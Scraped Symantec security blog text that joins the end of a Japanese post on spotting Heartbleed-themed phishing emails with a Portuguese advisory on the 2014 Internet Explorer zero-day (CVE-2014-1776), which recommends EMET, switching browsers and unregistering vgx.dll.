  • X-Mailer ヘッダーを見ると、送信者が使っている電子メールクライアントが非常に古いもの（Microsoft Outlook Express 6.00.2600.0000）だと分かります。多くのユーザーが依然として古い電子メールクライアントを使っていますが、最新のオンラインビジネスでそのような電子メールクライアントを使ってセキュリティに関する通知を送信することはほぼありません。
  • 「has initiate」という文法上の誤りがあります。攻撃者は、最新の話題をいち早く悪用して新しいフィッシング攻撃を実行しようと焦るため、文法の間違いを犯しがちです。また、送信者の母国語が英語ではないことも珍しくありません。
  • さらに、このフィッシングメールは有名な米軍関係の保険サービスからのセキュリティ警告と称しているにもかかわらず、掲載されている「ログイン」リンクをクリックすると、実際には危殆化したトルコの製造業社のサイトにアクセスします。

以上は、フィッシングメールの判断基準のすべてではありませんが、フィッシング攻撃にありがちな間違いや矛盾を示しています。

Heartbleed に関するアドバイザリーで詳しく説明しているように、個人情報の提供や更新を要求する電子メールには警戒するようにしてください。また、そのようなメッセージに含まれるパスワードリセットやソフトウェア更新のリンクは、決してクリックしないでください。個人情報の更新や変更が必要な場合は、該当する Web サイトに直接アクセスして実行することをお勧めします。

 

* 日本語版セキュリティレスポンスブログの RSS フィードを購読するには、http://www.symantec.com/connect/ja/item-feeds/blog/2261/feed/all/ja にアクセスしてください。

Vulnerabilidade de Dia-Zero do Internet Explorer está a Solta

      No Comments on Vulnerabilidade de Dia-Zero do Internet Explorer está a Solta

zero_day_IE_concept.png

A Symantec está ciente dos relatórios de vulnerabilidade de Dia Zero, Vulnerabilidade de Execução de Código Remoto para Microsoft Internet Explorer (CVE-2014-1776), que afeta todas as versões do Internet Explorer.

A Microsoft publicou um aviso de segurança sobre a vulnerabilidade no Internet Explorer, que está sendo utilizada em limitados ataques dirigidos. Atualmente não existe nenhum patch disponível para esta vulnerabilidade e a Microsoft, até o momento em que este texto foi escrito, não ofereceu uma data de divulgação desta correção.

Nossos testes confirmaram que a vulnerabilidade afeta o Internet Explorer do Windows XP. Esta é a primeira vulnerabilidade de Dia-Zero que não será corrigida para os usuários do Windows XP, pois a Microsoft encerrou o suporte deste sistema operacional em 8 de abril de 2014. No entanto, a Microsoft afirmou que o seu avançado kit de ferramentas de Mitigação (EMET) 4.1 e acima poderá mitigar essa vulnerabilidade do Internet Explorer que é suportado pelo Windows XP. Além de usar o EMET, a Symantec incentiva os usuários a mudarem temporariamente para um navegador da Web diferente até que uma correção seja disponibilizada pelo fornecedor.

Symantec protege os clientes contra este ataque, com as seguintes detecções:

Nós vamos atualizar este blog com mais informações assim que estiverem disponíveis.

Atualização – 28 de Abril

Com a finalidade de reduzir a Vulnerabilidade de Execução de Código Remoto para Microsoft Internet Explorer (CVE-2014-1776) , a Symantec ofrece as seguintes recomendações

A Microsoft declarou que versões do avançado kit de ferramentas de Mitigação (EMET) 4.1 e superiores podem atenuar essa vulnerabilidade no Internet Explorer. O kit de ferramentas está disponível para usuários do Windows XP também. Se a utilização do EMET não for uma opção, os usuários podem considerar como forma de reduzir o problema anulando o registro de um arquivo DLL chamado VGX.DLL. Este arquivo provê suporte para VML (Vector Markup Language) no navegador. Essa ação não é necessária para a maioria dos usuários. No entanto, ao anular o registro da Library qualquer aplicação que utilize DLL não funcionará de maneira apropriada. Igualmente, algumas aplicações potencialmente instaladas no sistema podem se registrar no DLL. Com isso em mente, a seguinte linha de instruções pode ser executada para tornar imune o sistema de ataques que tentem explorar esta vulnerabilidade. Esta linha de recomendações pode ser usada para todos os sistemas operativos afetados.

“%SystemRoot%\System32\regsvr32.exe” -u “%CommonProgramFiles%\Microsoft Shared\VGX\vgx.dll”

Nós também desenvolvemos um arquivo de lote que pode ser utilizado para executar a tarefa para aqueles que necessitem administrar grandes infra-estruturas de TI.

bat_icon.png

Nota: Os usuários terão de renomear o arquivo usando uma extensão .bat

O arquivo de lote tem a capacidade de verificar o estado atual do arquivo DLL e cancelar o registro da DLL, conforme necessário. O roteiro descrito no arquivo de lote é muito simples e pode ser usado como uma base para customizar o código para atender às necessidades de certos ambientes de sistema.

Apesar de nenhuma ferramenta especial ser necessária para atenuar essa vulnerabilidade, por favor note que as recomendações, como as fornecidas aqui, podem não ser as mesmas possíveis para vulnerabilidades futuras. Recomendamos que os sistemas operacionais não suportados, como o Windows XP, sejam substituídos por versões atualizadas, logo que possível.